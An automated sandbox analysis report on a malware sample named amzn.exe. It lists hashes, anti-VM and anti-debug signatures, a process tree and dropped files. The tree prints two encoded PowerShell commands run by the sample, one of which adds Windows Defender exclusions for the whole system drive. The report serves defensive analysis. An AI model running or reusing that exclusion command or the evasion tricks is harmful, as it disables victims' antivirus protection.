Analysis
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max time kernel
47s -
max time network
20s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
09-06-2024 07:39
Behavioral task
behavioral1
Sample
amzn.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
amzn.exe
Resource
win10v2004-20240508-en
General
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Target
amzn.exe
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Size
13.4MB
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MD5
d1169346f870e90f3d0bf40c71fecf85
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SHA1
dfa4c143bd9421414c43095b2b23357a8ef46ab3
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SHA256
4b6c62a3c3c1b5e3eb91fc586fc9d048684efc1cd2c1d101132c0c3443965614
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SHA512
120d3234f9901e159e3b220bbc75c007ecdf97edd6426454c9d3679fb29f8992046d780797d72ee0a19495750d72ae4b1b3bad594c58ae697c195121305100b8
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SSDEEP
393216:bgUF5p/ZTg0+dO1uaRhaT31OC6xtyoDEmp1M2M:bxF5p/Zc0+81JXOAHLhDEsb
Malware Config
Signatures
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Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
Processes:
amzn.exeauth.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ amzn.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ auth.exe -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
auth.exeamzn.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion auth.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion amzn.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion amzn.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion auth.exe -
Executes dropped EXE 3 IoCs
Processes:
sorby-storecard.exeauth.exesorby-storecard.exepid process 2668 sorby-storecard.exe 2776 auth.exe 2792 sorby-storecard.exe -
Loads dropped DLL 16 IoCs
Processes:
amzn.exesorby-storecard.exesorby-storecard.exeWerFault.exepid process 2984 amzn.exe 2984 amzn.exe 2728 2668 sorby-storecard.exe 2792 sorby-storecard.exe 2792 sorby-storecard.exe 2792 sorby-storecard.exe 2792 sorby-storecard.exe 2792 sorby-storecard.exe 2792 sorby-storecard.exe 2792 sorby-storecard.exe 2416 WerFault.exe 2416 WerFault.exe 2416 WerFault.exe 2416 WerFault.exe 2416 WerFault.exe -
Processes:
resource yara_rule behavioral1/memory/2984-0-0x0000000000400000-0x000000000159F000-memory.dmp themida behavioral1/memory/2984-2-0x0000000000400000-0x000000000159F000-memory.dmp themida behavioral1/memory/2984-3-0x0000000000400000-0x000000000159F000-memory.dmp themida C:\Users\Admin\AppData\Local\Temp\auth.exe themida behavioral1/memory/2984-14-0x0000000000400000-0x000000000159F000-memory.dmp themida behavioral1/memory/2776-96-0x000000013F090000-0x000000013FCE4000-memory.dmp themida behavioral1/memory/2776-97-0x000000013F090000-0x000000013FCE4000-memory.dmp themida behavioral1/memory/2776-150-0x000000013F090000-0x000000013FCE4000-memory.dmp themida -
Processes:
amzn.exeauth.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA amzn.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA auth.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
amzn.exeauth.exepid process 2984 amzn.exe 2776 auth.exe -
Processes:
powershell.exepowershell.exepid process 2204 powershell.exe 2812 powershell.exe -
Detects Pyinstaller 1 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\sorby-storecard.exe pyinstaller -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
amzn.exepowershell.exepowershell.exepid process 2984 amzn.exe 2204 powershell.exe 2812 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2204 powershell.exe Token: SeDebugPrivilege 2812 powershell.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
amzn.exesorby-storecard.exeauth.exedescription pid process target process PID 2984 wrote to memory of 2204 2984 amzn.exe powershell.exe PID 2984 wrote to memory of 2204 2984 amzn.exe powershell.exe PID 2984 wrote to memory of 2204 2984 amzn.exe powershell.exe PID 2984 wrote to memory of 2204 2984 amzn.exe powershell.exe PID 2984 wrote to memory of 2812 2984 amzn.exe powershell.exe PID 2984 wrote to memory of 2812 2984 amzn.exe powershell.exe PID 2984 wrote to memory of 2812 2984 amzn.exe powershell.exe PID 2984 wrote to memory of 2812 2984 amzn.exe powershell.exe PID 2984 wrote to memory of 2668 2984 amzn.exe sorby-storecard.exe PID 2984 wrote to memory of 2668 2984 amzn.exe sorby-storecard.exe PID 2984 wrote to memory of 2668 2984 amzn.exe sorby-storecard.exe PID 2984 wrote to memory of 2668 2984 amzn.exe sorby-storecard.exe PID 2984 wrote to memory of 2776 2984 amzn.exe auth.exe PID 2984 wrote to memory of 2776 2984 amzn.exe auth.exe PID 2984 wrote to memory of 2776 2984 amzn.exe auth.exe PID 2984 wrote to memory of 2776 2984 amzn.exe auth.exe PID 2668 wrote to memory of 2792 2668 sorby-storecard.exe sorby-storecard.exe PID 2668 wrote to memory of 2792 2668 sorby-storecard.exe sorby-storecard.exe PID 2668 wrote to memory of 2792 2668 sorby-storecard.exe sorby-storecard.exe PID 2776 wrote to memory of 2416 2776 auth.exe WerFault.exe PID 2776 wrote to memory of 2416 2776 auth.exe WerFault.exe PID 2776 wrote to memory of 2416 2776 auth.exe WerFault.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\amzn.exe"C:\Users\Admin\AppData\Local\Temp\amzn.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2984 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAZwB5ACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AegBlACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAQwBSAEEAQwBLAEUARAAgAEIAWQAgAEAAUwBPAFIAQgBZAEQARQBWACcALAAnACcALAAnAE8ASwAnACwAJwBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AJwApADwAIwBzAGkAYwAjAD4A"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2204 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAZgBnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AZwBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGEAeABmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAdwBhACMAPgA="2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2812 -
C:\Users\Admin\AppData\Local\Temp\sorby-storecard.exe"C:\Users\Admin\AppData\Local\Temp\sorby-storecard.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2668 -
C:\Users\Admin\AppData\Local\Temp\sorby-storecard.exe"C:\Users\Admin\AppData\Local\Temp\sorby-storecard.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2792 -
C:\Users\Admin\AppData\Local\Temp\auth.exe"C:\Users\Admin\AppData\Local\Temp\auth.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2776 -s 5523⤵
- Loads dropped DLL
PID:2416
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
18KB
MD5bfffa7117fd9b1622c66d949bac3f1d7
SHA1402b7b8f8dcfd321b1d12fc85a1ee5137a5569b2
SHA2561ea267a2e6284f17dd548c6f2285e19f7edb15d6e737a55391140ce5cb95225e
SHA512b319cc7b436b1be165cdf6ffcab8a87fe29de78f7e0b14c8f562be160481fb5483289bd5956fdc1d8660da7a3f86d8eede35c6cc2b7c3d4c852decf4b2dcdb7f
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Filesize
21KB
MD5724223109e49cb01d61d63a8be926b8f
SHA1072a4d01e01dbbab7281d9bd3add76f9a3c8b23b
SHA2564e975f618df01a492ae433dff0dd713774d47568e44c377ceef9e5b34aad1210
SHA51219b0065b894dc66c30a602c9464f118e7f84d83010e74457d48e93aaca4422812b093b15247b24d5c398b42ef0319108700543d13f156067b169ccfb4d7b6b7c
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Filesize
4.3MB
MD55cd203d356a77646856341a0c9135fc6
SHA1a1f4ac5cc2f5ecb075b3d0129e620784814a48f7
SHA256a56afcf5f3a72769c77c3bc43c9b84197180a8b3380b6258073223bfd72ed47a
SHA512390008d57fa711d7c88b77937bf16fdb230e7c1e7182faea6d7c206e9f65ced6f2e835f9da9befb941e80624abe45875602e0e7ad485d9a009d2450a2a0e0f1f
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Filesize
992KB
MD50e0bac3d1dcc1833eae4e3e4cf83c4ef
SHA14189f4459c54e69c6d3155a82524bda7549a75a6
SHA2568a91052ef261b5fbf3223ae9ce789af73dfe1e9b0ba5bdbc4d564870a24f2bae
SHA512a45946e3971816f66dd7ea3788aacc384a9e95011500b458212dc104741315b85659e0d56a41570731d338bdf182141c093d3ced222c007038583ceb808e26fd
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Filesize
4.6MB
MD534d727bc84e3fd30f2b400e7f1aeda17
SHA169c875966c12591179e84e4538a7fd5e4fdea446
SHA256c237dba1b193a24055cbe9a98a572283ae28f82a130f1c3ed9424934d5b7dc8f
SHA512976fb30c0d3717db0fb6b28fba0bf6eff49326eb40a96ede14ac393200874d69b0f5877c22689a9836d73974ad422646fa16a052908b54a34b88e976983d0070
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD5714efaf484ecdabdfe977bf7d06f4aff
SHA12f768c91a33bca2c066e7f1169ddcc066779be4a
SHA256abea133380e73b1107d370c9a6df4dab242b0db25d4180c69ab888caf3432d14
SHA51263d0e9236aa24e6021aa06e396607329c3c93d382fba81926d24a8dabeb5deeb4b31814eb1e0e5f2ddea850658c1272d9e4a073b9c89ad0f5eab57c0a7ed7431
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Filesize
21KB
MD51c58526d681efe507deb8f1935c75487
SHA10e6d328faf3563f2aae029bc5f2272fb7a742672
SHA256ef13dce8f71173315dfc64ab839b033ab19a968ee15230e9d4d2c9d558efeee2
SHA5128edb9a0022f417648e2ece9e22c96e2727976332025c3e7d8f15bcf6d7d97e680d1bf008eb28e2e0bd57787dcbb71d38b2deb995b8edc35fa6852ab1d593f3d1
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Filesize
21KB
MD5517eb9e2cb671ae49f99173d7f7ce43f
SHA14ccf38fed56166ddbf0b7efb4f5314c1f7d3b7ab
SHA25657cc66bf0909c430364d35d92b64eb8b6a15dc201765403725fe323f39e8ac54
SHA512492be2445b10f6bfe6c561c1fc6f5d1af6d1365b7449bc57a8f073b44ae49c88e66841f5c258b041547fcd33cbdcb4eb9dd3e24f0924db32720e51651e9286be
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Filesize
21KB
MD5d12403ee11359259ba2b0706e5e5111c
SHA103cc7827a30fd1dee38665c0cc993b4b533ac138
SHA256f60e1751a6ac41f08e46480bf8e6521b41e2e427803996b32bdc5e78e9560781
SHA5129004f4e59835af57f02e8d9625814db56f0e4a98467041da6f1367ef32366ad96e0338d48fff7cc65839a24148e2d9989883bcddc329d9f4d27cae3f843117d0
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Filesize
6.1MB
MD5224bae5fb30b488bfbe216add596b3bb
SHA14e5a855ef49b40f97717f119e5040bfff80f4c76
SHA256702c45977fe745fa2a1fc7acb7d6e7d8f683e2da9b7daf29b8b5d075cbcfb1fb
SHA512db9cf846eda14c349da50ae22537cc4bc7cc55e9c863e9dd9c97fd5ea8102f4154799a0d4357a73349b5f9895fef714d8c8a14bf771cccb2c66294f74e6a2191